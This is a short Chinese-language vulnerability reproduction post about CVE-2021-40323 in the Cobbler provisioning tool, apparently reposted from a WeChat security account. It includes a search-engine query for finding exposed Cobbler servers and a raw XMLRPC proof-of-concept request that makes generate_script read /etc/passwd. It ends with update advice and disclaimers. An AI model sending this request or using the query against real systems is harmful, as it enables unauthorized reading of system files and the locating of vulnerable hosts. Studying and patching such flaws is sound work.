文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责。如有侵权烦请告知，我会立即删除并致歉。谢谢！
一：漏洞描述
Cobbler是一款专注于自动化Linux系统安装和配置管理的工具，可帮助管理员快速部署服务器并确保配置一致性，支持多种操作系统和提供多项功能强大的特性，如Kickstart配置、PXE引导、DHCP管理等，提升系统管理效率和可靠性。
该产品在3.3.0之前版本存在远程代码执行漏洞，该漏洞源于外部输入数据构造代码段的过程中，网络系统或产品未能正确过滤其中的特殊元素，攻击者可利用该漏洞通过特制的XMLRPC方法记录日志文件以进行模板注入，从而导致日志中毒和远程代码执行。
二：漏洞影响版本
Cobbler <3.3.0三：网络空间测绘查询
"Cobbler Web Interface"
五：漏洞复现
POC1:
POST /cobbler_api HTTP/1.1Host:Content-Length: 0Content-Type: text/xmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36<methodCall><methodName>generate_script</methodName><params><param><value><string>centos6-x86_64</string></value></param><param><value><string></string></value></param><param><value><string>/etc/passwd</string></value></param></params></methodCall>
远程代码执行漏洞（Remote Code Execution Vulnerability，RCE）是一种安全漏洞，允许攻击者在远程服务器上执行恶意代码。这种漏洞通常是由于应用程序对输入数据的不正确处理或验证不严格导致的。攻击者可以利用这种漏洞将恶意代码注入到应用程序中，然后远程执行该代码，从而获取系统权限、窃取数据或对系统进行破坏。
六：批量检测
建议更新当前系统或软件至最新版，完成漏洞的修复。原文始发于微信公众号（Adler学安全）：漏洞复现-CVE-2021-40323
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论